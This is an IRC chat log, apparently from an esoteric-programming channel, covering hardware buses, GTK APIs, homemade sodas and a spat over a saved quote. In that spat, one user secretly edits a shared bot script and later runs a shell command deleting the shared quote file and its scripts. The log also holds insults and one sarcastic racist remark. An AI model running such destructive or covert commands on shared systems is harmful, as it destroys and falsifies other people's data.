22:20:37 <Vorpal> pikhq, true, but why did we get PCI then instead of just boosting ISA?
22:20:37 <elliott> WHY IS IT SO TERRIBLE. WHY.
22:20:46 <pikhq> Vorpal: ISA sucks ass.
22:20:58 <Vorpal> pikhq, I see, but so does x86. Yet we still have it
22:21:14 <Phantom_Hoover> Vorpal, because capitalism.
22:21:17 <elliott> I see y'all don't feel my pain.
22:21:23 <Vorpal> Phantom_Hoover, ... what?
22:21:36 <pikhq> Vorpal: The processors changed their system bus, so ISA was no longer the default.
22:21:42 <Vorpal> elliott, switch to 3G or something for now...
22:21:49 <Vorpal> pikhq, ah
22:21:52 <elliott> Vorpal: not the net. i can deal with that.
22:21:56 <elliott> i'm complaining about gtk being terribly-designed
22:22:00 <Vorpal> elliott, oh
22:22:01 <elliott> I just want to bind ctrl+a and ctrl+e properly :(
22:22:05 <pikhq> Yes, ISA was literally the *system bus* for x86 processors.
22:22:19 <Vorpal> elliott, I presume you would have to subscribe to some sort of event?
22:22:31 <Vorpal> elliott, GUI stuff tends to be event-driven iirc
22:22:31 -!- elliott has quit (Read error: Connection reset by peer).
22:22:32 <pikhq> Rather than try and devise a higher-speed ISA, motherboard manufacturers just grabbed PCI parts off the shelf, and voila.
22:22:46 <Vorpal> pikhq, PCI existed before?
22:22:48 <Vorpal> heh
22:22:52 -!- elliott has joined.
22:22:58 <Vorpal> <Vorpal> elliott, I presume you would have to subscribe to some sort of event?
22:22:59 <Vorpal> <Vorpal> elliott, GUI stuff tends to be event-driven iirc
22:22:59 <Vorpal> + elliott has quit (Read error: Connection reset by peer)
22:22:59 <elliott> <Vorpal> elliott, I presume you would have to subscribe to some sort of event?
22:23:01 <elliott> <elliott> Vorpal: I've already handled /that/, the point is how to do it to the text widget, which is ABSTRACTED TO ALL HELL.
22:23:04 <elliott> * Disconnected (Connection reset by peer).
22:23:06 <elliott> Vorpal: To wit:
22:23:19 <elliott> Vorpal: A GtkSourceView displays the contents of a GtkSourceBuffer which knows what language it is (for some reason).
22:23:27 <elliott> Vorpal: There are various GtkTextMarks or something in a SourceBuffer.
22:23:30 <elliott> That hold various positions.
22:23:37 <elliott> Including one for the cursor and one for the selection.
22:23:45 <elliott> Vorpal: To change a mark, you have to make a GtkTextIter from the GtkSourceBuffer,
22:23:55 <elliott> and then pass that to a method of the GtkSourceBuffer along with the GtkSomethingMark representing the cursor.
22:24:06 <Vorpal> heh
22:24:07 <pikhq> Vorpal: PCI was created as a CPU-agnostic bus standard in '93.
22:24:11 <elliott> And to top it all off, the TextIter API is TOTALLY UNINTUITIVE and I have NO IDEA how to just tell it to go to the start of the fucking line.
22:24:13 <Vorpal> pikhq, I see
22:24:17 <elliott> GOD.
22:24:25 <Vorpal> pikhq, but the system bus stopped being PCI a long time ago
22:24:35 <Vorpal> pikhq, and went to be things like HT and what not
22:24:38 <pikhq> Vorpal: The system bus was never PCI.
22:24:43 <Vorpal> pikhq, oh okay
22:24:44 <pikhq> Vorpal: PCI is an expansion bus.
22:24:56 <Vorpal> pikhq, FSB was the system bus for intel for a long time right?
22:25:11 <pikhq> Whereas ISA was literally a few lines drawn from the CPU socket.
22:25:19 <Vorpal> elliott, check what it does for other keys. Or what gedit and such does
22:25:55 <Deewiant> elliott: set_line(get_line())?
22:26:01 <elliott> Vorpal: I can't look at what it does for other keys, it'll be written in C.
22:26:02 <elliott> Vorpal: GObject C.
22:26:09 <elliott> Same goes for gedit.
22:26:13 <elliott> No mortal can read that.
22:26:22 <elliott> Deewiant: Are those actual methods or did you just make 'em up? :P
22:26:43 <Vorpal> elliott, ... weakling
22:26:46 <Deewiant> I googled 'gtk textiter' and went to the first non-pygtk link and found those
22:26:48 <elliott> Vorpal: GOBJECT.
22:26:54 <elliott> Deewiant: I'm using pygtk X-D
22:27:07 <oerjan> <Vorpal> oerjan, why doesn't she just get a paperclip and push it into the reset hole? <-- because she has no idea that such a thing exists?
22:27:09 <Deewiant> Well, evidently pygtk has the same methods
22:27:13 <pikhq> Anyways, to get a clock speed faster than a few megahertz out of there, you would need to redo the physical attachment, and when you're doing that you may as well just grab a different bus.
22:27:16 <elliott> Deewiant: I don't think that actually sends you back though.
22:27:19 <elliott> You probably need set_line_index.
22:27:19 <Vorpal> elliott, did you actually try google...
22:27:20 <oerjan> (i barely do myself)
22:27:23 <elliott> Vorpal: YES FFS.
22:27:30 <pikhq> Especially one being backed by a major company.
22:27:35 <pikhq> (PCI is Intel's handiwork)
22:27:39 <Vorpal> <elliott> You probably need set_line_index. <-- try it
22:27:42 <elliott> Deewiant: Oh, and I need the same behaviour as home/end, i.e. skipping whitespace at start and finish... and I bet I'll have to hack up my own to get that working for Ctrl+a/Ctrl+e.
22:27:43 <Deewiant> elliott: "sets the textiter location to the start of the line", dude.
22:27:53 <elliott> Again, <elliott> Deewiant: Oh, and I need the same behaviour as home/end, i.e. skipping whitespace at start and finish... and I bet I'll have to hack up my own to get that working for Ctrl+a/Ctrl+e.
22:28:00 <Gregor> Anise soda: SO GOOD
22:28:06 <Deewiant> elliott: Don't "again" me when I send something on the same second as you do :-P
22:28:25 <pikhq> And PCI itself got replaced because 33 or 66 MHz sucks.
22:28:27 <elliott> Deewiant: You will recall that my connection is fucked up beyond comprehension.
22:28:28 <Deewiant> elliott: If you need stuff like that, the only way I can tell is to manually run backward/forward a char at a time
22:28:29 <Vorpal> <Deewiant> elliott: Don't "again" me when I send something on the same second as you do :-P <-- he does that a lot as I pointed out before
22:28:35 <Phantom_Hoover> Gregor, blech.
22:28:39 <elliott> Vorpal: Oh, shut up.
22:28:48 <pikhq> "Hooray", max speed of 533 MB/s.
22:28:53 <Phantom_Hoover> Liquoricoids make me physically sick.
22:29:18 <Gregor> Phantom_Hoover: OMG IT IS SO GOOD
22:29:32 <Vorpal> `addquote <Vorpal> elliott, hh:mm:ss <elliott> statement hh:mm:ss <Vorpal> question. hh:mm:ss+2 <elliott> statement repeated [LATER:] <Deewiant> elliott: Don't "again" me when I send something on the same second as you do :-P
22:29:33 <elliott> Gregor: I WANT IT
22:29:38 <Gregor> What should I do next (I'm cycling through the single-flavorant sodas before mixing): Cinnamon, banana, or maple?
22:29:46 <pikhq> (133 MB/s on common equipment)
22:30:17 <HackEgo> 317) <Vorpal> elliott, hh:mm:ss <elliott> statement hh:mm:ss <Vorpal> question. hh:mm:ss+2 <elliott> statement repeated [LATER:] <Deewiant> elliott: Don't "again" me when I send something on the same second as you do :-P
22:30:25 <Phantom_Hoover> Gregor, hmm. Cinnamon would be... interesting, and I suspect it'd blend with anise respectably.
22:30:27 <elliott> `delquote 317
22:30:30 <elliott> E_NOT_ACTUALLY_FUNNY
22:30:35 <Vorpal> Gregor, maple
22:30:39 <HackEgo> *poof*
22:30:41 <Vorpal> elliott, no...
22:30:44 <Vorpal> `addquote <Vorpal> elliott, hh:mm:ss <elliott> statement hh:mm:ss <Vorpal> question. hh:mm:ss+2 <elliott> statement repeated [LATER:] <Deewiant> elliott: Don't "again" me when I send something on the same second as you do :-P
22:30:44 <HackEgo> 317) <Vorpal> elliott, hh:mm:ss <elliott> statement hh:mm:ss <Vorpal> question. hh:mm:ss+2 <elliott> statement repeated [LATER:] <Deewiant> elliott: Don't "again" me when I send something on the same second as you do :-P
22:30:48 <Vorpal> elliott, I will add it back
22:30:49 <elliott> Even if it was an example of hypocrisy, this same conversation fits the same model:
22:31:03 <elliott> <Vorpal> elliott: You're a rapist! [LATER:] <Deewiant> elliott: Ouch, stop raping people.
22:31:19 <Vorpal> elliott, ... what? I don't think I said that.
22:31:49 <Phantom_Hoover> Gregor, maple is the stupidest.
22:32:06 <elliott> Phantom_Hoover: Maple is awesome.
22:32:18 <Phantom_Hoover> Yes, but not as a drink.
22:32:37 <Vorpal> Phantom_Hoover, drink maple syrup!
22:32:40 <ais523> have I missed anything?
22:32:45 <Vorpal> I think it might be a bit gross though
22:32:47 <ais523> I haven't been paying attention
22:32:55 <Vorpal> ais523, a few hours of random stuff?
22:33:03 <Vorpal> ais523, also <Gregor> Anise soda: SO GOOD
22:33:06 <Phantom_Hoover> Well, I once drank balsamic vinegar.
22:33:12 <Phantom_Hoover> Gregor, DO THAT
22:33:14 <Vorpal> Phantom_Hoover, ... ?
22:33:18 <Vorpal> Phantom_Hoover, what...
22:33:43 <Vorpal> ais523, seems he made himself some soda
22:34:01 <Gregor> I'm leaning towards maple.
22:34:02 <Phantom_Hoover> I was little and I hadn't been forced to conform with normal standards of non-disgustingness.
22:34:07 <Gregor> Seems like it'd be a nifty cream soda.
22:34:08 <Vorpal> Gregor, good idea
22:34:09 <Phantom_Hoover> Gregor, -_-
22:34:34 <Vorpal> Phantom_Hoover, just the idea of vinegar...
22:34:37 <Vorpal> :/
22:34:40 <elliott> Gregor: ...maple cream soda sounds nice.
22:34:58 <elliott> Gregor: PUT ICE CREAM IN IT
22:35:00 <Vorpal> Phantom_Hoover, vinegar not in some other food stuff sounds nasty
22:35:14 <Vorpal> Phantom_Hoover, and even vinegar in other foodstuff is rather nasty IMO
22:35:20 <Phantom_Hoover> I still view salad as a carrier for vinegar, though.
22:35:33 <Vorpal> Gregor, bacon & garlic soda
22:35:40 <Gregor> Vorpal: Maybe not :P
22:35:46 <Vorpal> Gregor, just garlic then
22:36:17 <Vorpal> Phantom_Hoover, I don't like salad with vinegar. I prefer salad without vinegar
22:36:19 <Gregor> How about liver and onions.
22:36:21 <iconmaster> AND FISH! Wait, no....
22:36:27 <Vorpal> Gregor, liver, eww
22:36:34 <Phantom_Hoover> Vorpal, SICK BASTARD
22:36:38 <elliott> Gregor: Vinegar soda
22:36:44 <Vorpal> Phantom_Hoover, what? because I hate liver?
22:36:48 <Phantom_Hoover> <Vorpal> HEALTH HEALTH HEALTH LOOK HOW HEALTHY I AM
22:36:55 <fizzie> Collected some egojoust statistics plots at http://zem.fi/~fis/egostats/ -- just the "global" ones, not per-participant or per-game ones -- and these are cranky results from a 5-programs-dropped hill, so the numbers might not make sense everywhere. (FFSPG gets a rather impressive 73.63 score here, at least partially due to the fact that careless, spookygoth and defend14, against which all it loses, aren't included.)
22:37:02 <Vorpal> Phantom_Hoover, what are you talking about
22:37:09 <Vorpal> Phantom_Hoover, liver just tastes horrible.
22:37:10 <Phantom_Hoover> <Vorpal> VINEGAR IS ONLY A SINGLE OXIDATION REACTION AWAY FROM ALCOHOL I ABSTAIN FROM IT
22:37:10 <elliott> fizzie: Oh man it's so POLISHED.
22:37:21 <fizzie> elliott: It even has CSSSSS. (A few lines.)
22:37:21 <elliott> `addquote <Vorpal> VINEGAR IS ONLY A SINGLE OXIDATION REACTION AWAY FROM ALCOHOL I ABSTAIN FROM IT
22:37:22 <HackEgo> 317) <Vorpal> VINEGAR IS ONLY A SINGLE OXIDATION REACTION AWAY FROM ALCOHOL I ABSTAIN FROM IT
22:37:30 <Vorpal> elliott, fake quote
22:37:32 <elliott> `delquote 317
22:37:33 <Vorpal> also that number is off
22:37:35 <HackEgo> *poof*
22:37:35 <elliott> (See, diplomacy.)
22:37:41 <Vorpal> `addquote <Vorpal> elliott, hh:mm:ss <elliott> statement hh:mm:ss <Vorpal> question. hh:mm:ss+2 <elliott> statement repeated [LATER:] <Deewiant> elliott: Don't "again" me when I send something on the same second as you do :-P
22:37:42 <HackEgo> 317) <Vorpal> elliott, hh:mm:ss <elliott> statement hh:mm:ss <Vorpal> question. hh:mm:ss+2 <elliott> statement repeated [LATER:] <Deewiant> elliott: Don't "again" me when I send something on the same second as you do :-P
22:37:47 <Vorpal> elliott, I will add that quote back
22:37:50 <Gregor> <elliott> Gregor: Vinegar soda // vinegar actually could be an ingredient in soda, you always need some acid.
22:37:53 <Phantom_Hoover> NOTE: Vorpal does not understand that vinegar is in fact two oxidation reactions away from alcohol due to viewing chemistry as unhealthy.
22:38:05 <Vorpal> Phantom_Hoover, ... I never disliked vinegar because of that
22:38:09 <Vorpal> Phantom_Hoover, I just hate the taste
22:38:23 <Phantom_Hoover> As you could in theory make DRUGS from the things you learn there.
22:38:24 <Vorpal> Phantom_Hoover, and I don't remember how many oxidation states away it is
22:39:15 <Vorpal> Phantom_Hoover, you seem to have a very wrong picture of me. I have nothing against drugs in general. There are ones without the horrible side effects of alcohol.
22:39:24 <Vorpal> while I do not plan to try them myself currently
22:39:29 <Vorpal> (mostly due to legal issues)
22:39:35 <Vorpal> I have nothing against them in principle
22:39:36 <pikhq> THE HELL IS WITH MY CRAZY LATENCY RIGHT NOW?
22:39:47 <Vorpal> + Ping reply from pikhq: 1.10 second(s)
22:39:52 <Vorpal> pikhq, hm?
22:40:02 <pikhq> Vorpal: Yes, that's absurd.
22:40:12 <Vorpal> pikhq, 1.10 seems quite decent for irc
22:40:32 <pikhq> Seconds.
22:40:37 <Vorpal> `quote 317
22:40:38 <HackEgo> 317) <Vorpal> elliott, hh:mm:ss <elliott> statement hh:mm:ss <Vorpal> question. hh:mm:ss+2 <elliott> statement repeated [LATER:] <Deewiant> elliott: Don't "again" me when I send something on the same second as you do :-P
22:40:40 <Vorpal> good there
22:40:50 <elliott> Vorpal: Stop being a shit. Srsly.
22:41:01 <Vorpal> elliott, I'm just checking that you didn't remove it
22:41:02 <Vorpal> that's all
22:41:16 <Vorpal> elliott, and if it had been about me you would have found that thing hilarious :P
22:41:18 <elliott> It has come to my attention that you are engaging in the activity known as "being a shit"; immediate cessation of this activity is recommended to avoid progression onto shitheadedness, which follows shitness.
22:41:41 <Vorpal> elliott, you should maybe listen to your own advise sometimes.
22:41:52 <Vorpal> pikhq, + Ping reply from pikhq: 0.72 second(s)
22:41:59 <Phantom_Hoover> Vorpal, *advice
22:41:59 <Vorpal> pikhq, anyway this isn't to your irc server
22:42:04 <Vorpal> Phantom_Hoover, whops, indeed
22:42:14 <Vorpal> pikhq, this is from me. In Europe.
22:42:22 <Phantom_Hoover> When there are two forms, the one with 'c' is generally the noun and 's' the verb.
22:42:27 <Vorpal> pikhq, across irc servers. Not even direct route
22:42:35 <elliott> SORRY HA HA LET ME BLAME MY ILLITERACY ON THE ENGLISH LANGUAGE
22:42:39 <Vorpal> Phantom_Hoover, oh. Didn't know that. Interesting.
22:42:45 <Vorpal> Phantom_Hoover, useful to know. Thanks.
22:43:02 <Phantom_Hoover> elliott, well, loads of native English speakers get that wrong.
22:43:19 <Vorpal> also, where did I blame it on that.
22:43:21 <Phantom_Hoover> Also:
22:43:23 <elliott> Phantom_Hoover: That's why we need to deport all the immigrants back to Africa.
22:43:26 <Phantom_Hoover> `delquote 317
22:43:27 <HackEgo> *poof*
22:43:31 <Vorpal> Phantom_Hoover, why
22:43:34 <Phantom_Hoover> I AM MAKING A STAND
22:43:39 <elliott> Two against one, isn't that, like, Democracy?
22:43:59 <Phantom_Hoover> Vorpal, because it is amusing as the later series of The Simpsons.
22:44:05 <elliott> What is it, a wolf and three sheep deciding what to have for dinner? I forget the quote.
22:44:26 <elliott> Phantom_Hoover: <Vorpal> I HATE PUERILE HUMOUR AND THEREFORE DISLIKE ALL SERIES OF THE SIMPSONS EQUALLY
22:44:38 <elliott> <Vorpal> SINCE YOU EVIDENTLY HOLD THE EARLY SEASONS IN HIGH-REGARD, I CONCLUDE THAT THE LATER ONES ARE HILARIOUS TO YOU
22:44:50 <Vorpal> elliott, uh. I haven't got around to watching the series. So I can't make any statement about it
22:45:02 <Phantom_Hoover> elliott, ah, yeah, but now my masterstroke:
22:45:21 <Phantom_Hoover> Since Vorpal clearly thinks I have no sense of humour, /the quote cannot be funny/.
22:45:25 <Vorpal> elliott, also I believe it is you who are "being a shit" here.
22:45:38 <elliott> That is... the best logic ever.
22:46:07 <Vorpal> Phantom_Hoover, no, that logic fails. Because you are saying:
22:46:07 <Vorpal> A→B
22:46:09 <Vorpal> ¬A
22:46:15 <Vorpal> that does not mean ¬B
22:46:21 <Vorpal> Phantom_Hoover,
22:46:27 <Vorpal> Phantom_Hoover, logical fallacy
22:46:50 <Phantom_Hoover> Vorpal, ah, butbutbut:
22:47:52 <Vorpal> Phantom_Hoover, yes?
22:47:56 <Phantom_Hoover> Clearly if I think something *is* funny, it mustn't actually be funny, per the earlier definitions.
22:48:10 <elliott> "A democracy is a sheep and two wolves deciding on what to have for
22:48:10 <elliott> lunch. Freedom is a well armed sheep contesting the results of the
22:48:10 <elliott> decision."
22:48:10 <elliott> Benjamin Franklin
22:48:11 <elliott> That's it.
22:48:14 <elliott> So basically unless Vorpal shoots us...
22:48:34 <elliott> Both stone cold logic and Ben Franklin agree.
22:48:35 <Vorpal> Phantom_Hoover, how does that follow?
22:48:44 <Vorpal> Phantom_Hoover, because you are asserting you have humour
22:49:03 * Phantom_Hoover gives up.
22:49:09 <Vorpal> Phantom_Hoover, but you are asserting I don't. Which means, if true, that I would be unable to judge if something is funny at all.
22:49:30 <iconmaster> !bfjoust kinda_boring [[]+]
22:49:31 <elliott> Vorpal: You believe that PH has no sense of humour.
22:49:36 <Vorpal> elliott, no I don't
22:49:38 <elliott> Therefore, if PH thinks something is amusing, you think it is not.
22:49:50 <elliott> As has previously been demonstrated with the Simpsons logic, from your POV, PH thinks the quote is funny.
22:49:59 <Vorpal> elliott, I believe PH has a sense of humour, though different
22:50:01 <elliott> Therefore, the quote is not funny in your POV, and because your POV is the POV you are reasoning from, the quote is not funny.
22:50:15 <elliott> Any questions will be ignored as it has been demonstrated and explained with utmost precision, have a nice day.
22:50:19 <Vorpal> Phantom_Hoover, for your statement to be true I would have to have some sort of anti-humour. And then you could just take absolute value of what I say and it would be hilarious
22:50:42 <oerjan> i think there is a lot of anti-humor flying around here right now
22:50:58 <Vorpal> oerjan, I conclude you are right
22:51:20 <pikhq> Vorpal: That is still far too-high latency.
22:51:22 <Vorpal> anyway anti-humour is just another form of humour
22:51:31 <oerjan> of course. i am an expert on all the four humors.
22:51:37 <Vorpal> + Ping reply from Gregor: 0.55 second(s)
22:51:39 <Vorpal> + Ping reply from pikhq: 1.62 second(s)
22:51:40 <Vorpal> indeed
22:51:59 <Vorpal> oerjan, which one is the fourth?
22:52:00 <pikhq> Order of magnitude too high.
22:52:25 <oerjan> that _would_ depend on which are the first three, i believe.
22:52:25 <Vorpal> pikhq, about 3 times too high?
22:52:32 <pikhq> Vorpal: BAH
22:52:38 <Vorpal> pikhq, what?
22:52:47 <pikhq> YOU AND YOUR TRUTH
22:52:53 <Vorpal> :D
22:53:05 <Vorpal> to be fair, this is cross Atlantic and corss-IRC
22:53:15 <elliott> `addquote 317 <Vorpal> elliott, hh:mm:ss <elliott> statement hh:mm:ss <Vorpal> question. hh:mm:ss+2 <elliott> statement repeated [LATER:] <Deewiant> elliott: Don't "again" me when I send something on the same second as you do :-P
22:53:16 <HackEgo> 317) 317 <Vorpal> elliott, hh:mm:ss <elliott> statement hh:mm:ss <Vorpal> question. hh:mm:ss+2 <elliott> statement repeated [LATER:] <Deewiant> elliott: Don't "again" me when I send something on the same second as you do :-P
22:53:17 <elliott> Oops.
22:53:18 <Vorpal> I have no doubt it would be less if I used ping(8)
22:53:19 <elliott> `delquote 317
22:53:24 <HackEgo> *poof*
22:53:24 <elliott> `addquote <Vorpal> elliott, hh:mm:ss <elliott> statement hh:mm:ss <Vorpal> question. hh:mm:ss+2 <elliott> statement repeated [LATER:] <Deewiant> elliott: Don't "again" me when I send something on the same second as you do :-P
22:53:26 <elliott> Vorpal: Happy now?
22:53:27 <HackEgo> 317) <Vorpal> elliott, hh:mm:ss <elliott> statement hh:mm:ss <Vorpal> question. hh:mm:ss+2 <elliott> statement repeated [LATER:] <Deewiant> elliott: Don't "again" me when I send something on the same second as you do :-P
22:53:41 <Vorpal> elliott, interesting that you added it
22:53:44 <pikhq> Vorpal: The latency from the links themselves should add up to *maybe* 300ms.
22:54:09 <Vorpal> pikhq, you saw what I got to Gregor
22:54:22 <Vorpal> pikhq, I don't know who else in here is in US
22:54:41 <EgoBot> Score for iconmaster_kinda_boring: 4.6
22:54:41 <pikhq> Egobot?
22:54:45 <Vorpal> ah
22:54:45 -!- Phantom_Hoover has quit (Ping timeout: 240 seconds).
22:54:55 <Vorpal> pikhq, no ping reply from it
22:55:32 <Vorpal> pikhq, oh also I'm connected through ipv6 tunnel to freenode it seems
22:55:37 <Vorpal> pikhq, that would also explain a lot
22:56:12 <iconmaster> Wow EgoBot took a long time today
22:56:14 <elliott> Vorpal: OK, sorry, I lied, I deleted it in /msg. You can readd it, I don't care.
22:57:27 <oerjan> *facepalm*
22:57:34 <Vorpal> oerjan, hm?
22:58:06 <oerjan> and here i _thought_ elliott was trying to be diplomatic for once
22:58:15 <Vorpal> oerjan, hah
22:58:15 <elliott> I am now, I don't care enough to bother.
22:58:21 <elliott> To be fair, Vorpal re-added it in /msg too.
22:58:49 <Vorpal> <Vorpal> `addquote <Vorpal> elliott, hh:mm:ss <elliott> statement hh:mm:ss <Vorpal> question. hh:mm:ss+2 <elliott> statement repeated [LATER:] <Deewiant> elliott: Don't "again" me when I send something on the same second as you do :-P
22:58:49 <Vorpal> <HackEgo> 317) <Vorpal> elliott, hh:mm:ss <elliott> statement hh:mm:ss <Vorpal> question. hh:mm:ss+2 <elliott> statement repeated [LATER:] <Deewiant> elliott: Don't "again" me when I send something on the same second as you do :-P
22:58:49 <Vorpal> <Vorpal> `quote 317
22:58:57 <Vorpal> elliott, 2 seconds after each other
22:59:00 <Vorpal> and it was deleted
22:59:02 <Vorpal> what
22:59:06 <Vorpal> you "don't care"?
22:59:18 <Vorpal> `help
22:59:19 <HackEgo> Runs arbitrary code in GNU/Linux. Type "`<command>", or "`run <command>" for full shell commands. "`fetch <URL>" downloads files. Files saved to $PWD are persistent, and $PWD/bin is in $PATH. $PWD is a mercurial repository, "`revert <rev>" can be used to revert to a revision. See http://codu.org/projects/hackbot/fshg/
22:59:21 <elliott> Vorpal: What?
22:59:25 <elliott> It's probably a problem with the merging.
22:59:30 <elliott> That happens sometimes.
22:59:33 <elliott> I've done nothing.
22:59:36 <Vorpal> elliott, no
22:59:40 <Vorpal> you changed addquote binary
22:59:50 <elliott> WHAT IS THIS
22:59:50 <Vorpal> http://codu.org/projects/hackbot/fshg/index.cgi/rev/ac438abc7950
22:59:51 <elliott> GREGOR
22:59:54 <Vorpal> elliott, very droll
22:59:54 <elliott> HAVE YOU FORGED CHANGES BY ME
22:59:57 <elliott> I am *disgusted*
23:00:19 <Vorpal> `revert 5cf5145b0354
23:00:27 <Vorpal> `quote 317
23:00:28 <HackEgo> No output.
23:00:32 <Vorpal> `revert 69
23:00:33 <HackEgo> Done.
23:00:34 <Vorpal> `quote 317
23:00:34 <HackEgo> 317) <Vorpal> elliott, hh:mm:ss <elliott> statement hh:mm:ss <Vorpal> question. hh:mm:ss+2 <elliott> statement repeated [LATER:] <Deewiant> elliott: Don't "again" me when I send something on the same second as you do :-P
23:00:38 <oerjan> Vorpal: dammit _i_ was thinking of changing the addquote binary
23:00:45 <elliott> `revert 1e4d36f50b3b
23:00:55 <elliott> The great thing about anarchy is that you can do whatever you want. Also, the only thing about anarchy.
23:01:02 <Vorpal> `quote 317
23:01:03 <HackEgo> 317) <Vorpal> elliott, hh:mm:ss <elliott> statement hh:mm:ss <Vorpal> question. hh:mm:ss+2 <elliott> statement repeated [LATER:] <Deewiant> elliott: Don't "again" me when I send something on the same second as you do :-P
23:01:17 <elliott> `revert 76
23:01:18 <HackEgo> Done.
23:01:26 <Vorpal> `revert 69
23:01:27 <HackEgo> Done.
23:01:29 <elliott> `revert 76
23:01:31 <HackEgo> Done.
23:01:46 <fizzie> http://zem.fi/~fis/egostats/plot_lenscore.png -- BIGGER == BETTER.
23:01:52 <oerjan> `cat bin/addquote
23:01:52 <HackEgo> #!/bin/sh \ if [ "$1" = "<Vorpal> elliott, hh:mm:ss <elliott> statement hh:mm:ss <Vorpal> question. hh:mm:ss+2 <elliott> statement repeated [LATER:] <Deewiant> elliott: Don't "again" me when I send something on the same second as you do :-P" ]; then \ echo $(wc -l quotes | cut -d' ' -f1 | dc -e '?1+p')") $1" \ else \ [
23:02:02 <elliott> Darn, that's the old broken version.
23:02:10 <elliott> `revert 77
23:02:12 <HackEgo> Done.
23:02:16 <elliott> `cat bin/addquote
23:02:17 <HackEgo> #!/bin/sh \ if [ "$1" = "<Vorpal> elliott, hh:mm:ss <elliott> statement hh:mm:ss <Vorpal> question. hh:mm:ss+2 <elliott> statement repeated [LATER:] <Deewiant> elliott: Don't "again" me when I send something on the same second as you do :-P" ]; then \ echo $(wc -l quotes | cut -d' ' -f1 | dc -e '?1+p')") $1" \ else \ [
23:02:21 <elliott> Hm.
23:02:29 <elliott> It does not seem to want to go back to the proper version.
23:02:30 <elliott> `revert 75
23:02:31 <HackEgo> Done.
23:02:32 <elliott> `cat bin/addquote
23:02:35 <HackEgo> #!/bin/sh \ if [ "$1" = "<Vorpal> elliott, hh:mm:ss <elliott> statement hh:mm:ss <Vorpal> question. hh:mm:ss+2 <elliott> statement repeated [LATER:] <Deewiant> elliott: Don't \"again\" me when I send something on the same second as you do :-P" ]; then \ echo $(($(wc -l quotes | cut -d' ' -f1)+1))") $1" \ else \ [ "$1" ] ||
23:02:38 <elliott> There we go.
23:03:03 <oerjan> i find it hard to chastise elliott when i was thinking about doing the exact same thing.
23:03:10 <elliott> oerjan: :}
23:03:17 <Vorpal> problem solved anyway
23:03:38 <elliott> I wouldn't have bothered if the quote wasn't part of one of Vorpal's semi-regular "latch onto anything anyone says that could be in any way construed as anti-elliott and spam the channel with how right that is".
23:03:42 <elliott> Quite an obsession.
23:04:16 <iconmaster> !bfjoust bigger_does_not_mean_better (<)*10000(<)*10000
23:04:28 <Vorpal> elliott, it would help if you stopped being, as you put it yourself I believe, "a shit"
23:05:45 <oerjan> YES, SOME PROBLEMS HAVE TWO POSSIBLE SOLUTIONS AND THEREFORE NO ONE DOES EITHER OF THEM
23:06:25 <elliott> i love caps lock
23:06:27 <elliott> it's warm and comforting
23:06:36 <oerjan> yeah i should use it some time
23:07:27 <Vorpal> is codu.org down?
23:07:29 <Vorpal> Gregor, ^
23:07:51 <Vorpal> `help
23:08:06 <Gregor> Vorpal: No.
23:08:13 <Vorpal> Gregor, slow as hell though
23:08:25 <Vorpal> Gregor, and hackego took ages to respond
23:08:26 <oerjan> clearly elliott inserted something that makes codu.org ignore Vorpal
23:08:28 <Vorpal> is taking ages even
23:08:34 <Vorpal> oerjan, I doubt it
23:08:34 <EgoBot> Score for iconmaster_bigger_does_not_mean_better: 0.0
23:09:08 <HackEgo> Runs arbitrary code in GNU/Linux. Type "`<command>", or "`run <command>" for full shell commands. "`fetch <URL>" downloads files. Files saved to $PWD are persistent, and $PWD/bin is in $PATH. $PWD is a mercurial repository, "`revert <rev>" can be used to revert to a revision. See http://codu.org/projects/hackbot/fshg/
23:09:09 <elliott> i didn't.
23:09:25 <Vorpal> Gregor, codu is buggedly slow atm. As you can see
23:09:47 <elliott> <Vorpal> run sed '/elliott/d' -i quotesdefault tip
23:09:49 <elliott> /rolleyes.
23:09:59 <Vorpal> elliott, you said you liked anarchy
23:10:02 -!- Phantom_Hoover has joined.
23:10:05 <elliott> `run rm quotes; rm bin/*quote*
23:10:05 <Vorpal> elliott, so you got it
23:10:06 <elliott> Problem solved.
23:10:06 <HackEgo> No output.
23:10:42 <Vorpal> elliott, I was trying to point out the stupidity of your actions by demonstrating your behaviour :)
23:10:50 <Vorpal> (parodied yes)
23:11:38 <oerjan> *sigh*
23:12:06 <iconmaster> !bfjoust ill_assume_the_tape_is_ten_long (>)*10[+.]
23:12:08 <elliott> I wonder if Vorpal stirs up this kind of idiotic drama just to rile me up so that he can later use it as evidence of how immature I am.
23:12:34 -!- MigoMipo has quit (Read error: Connection reset by peer).
23:12:35 <Deewiant> iconmaster: You're assuming 11, not 10
23:12:43 <iconmaster> Whoops
23:12:43 <Phantom_Hoover> `quote
23:12:50 <iconmaster> !bfjoust ill_assume_the_tape_is_ten_long (>)*9[+.]
23:13:00 <HackEgo> No output.
23:13:22 <iconmaster> I made silly little losing BFjoust programs for no real reason.
23:13:24 <oerjan> elliott: Vorpal ok, you have 30 minutes to get the quote system back into its state _before_ this ridiculous quarrel started before i ban you _both_
23:13:37 <fizzie> iconmaster: The graph's "size" measure would count (<)*10000(<)*10000 as size "6", actually.
23:13:39 <Gregor> Vorpal: Thank you for your bug report. It has been filed into /dev/null with all the others.
23:13:43 <elliott> I don't want the quote system back if it's just going to cause ridiculous drama like this.
23:13:59 <Phantom_Hoover> Also: dear Christ, can't I leave you people alone for 10 minutes?
23:14:00 <Vorpal> Gregor, right. So you don't know what is causing it or?
23:14:16 <Gregor> Vorpal: E_DONTCARE
23:14:32 <oerjan> * elliott: Vorpal:
23:14:32 <Vorpal> oerjan, I'm going to bed. Besides it was elliott who removed it. I'd revert the changes to the file though I made, but it seems it is no longer there.
23:14:39 <Vorpal> oerjan, night!
23:14:54 <fizzie> Gregor: Guh, who put an underscore into your errno constant? That's so uncommon.
23:14:57 <Phantom_Hoover> Waitwhat.
23:15:10 <Phantom_Hoover> ping is in section 8 of the manual pages.
23:15:11 <Gregor> fizzie: It's not an errno constant, it's a bugzilla code.
23:16:17 <Vorpal> hm just checking back for a second
23:16:45 <Phantom_Hoover> Vorpal, OK, why, exactly, did you need that quote there?
23:16:48 <Vorpal> oerjan, as I said, I would undo it. But I don't want to cause drama by reverting elliott's last change. That one to remove the quotes.
23:16:55 <Vorpal> Phantom_Hoover, because I found it funny
23:17:09 <Phantom_Hoover> Vorpal, heard of "diplomacy"?
23:17:31 <Vorpal> Phantom_Hoover, yes, but elliott has not applied it either.
23:17:39 <Phantom_Hoover> Vorpal, THE ONUS IS ON YOU
23:18:03 <Vorpal> Phantom_Hoover, I don't care to look up "onus" atm, so I'll ask you to rewrite that
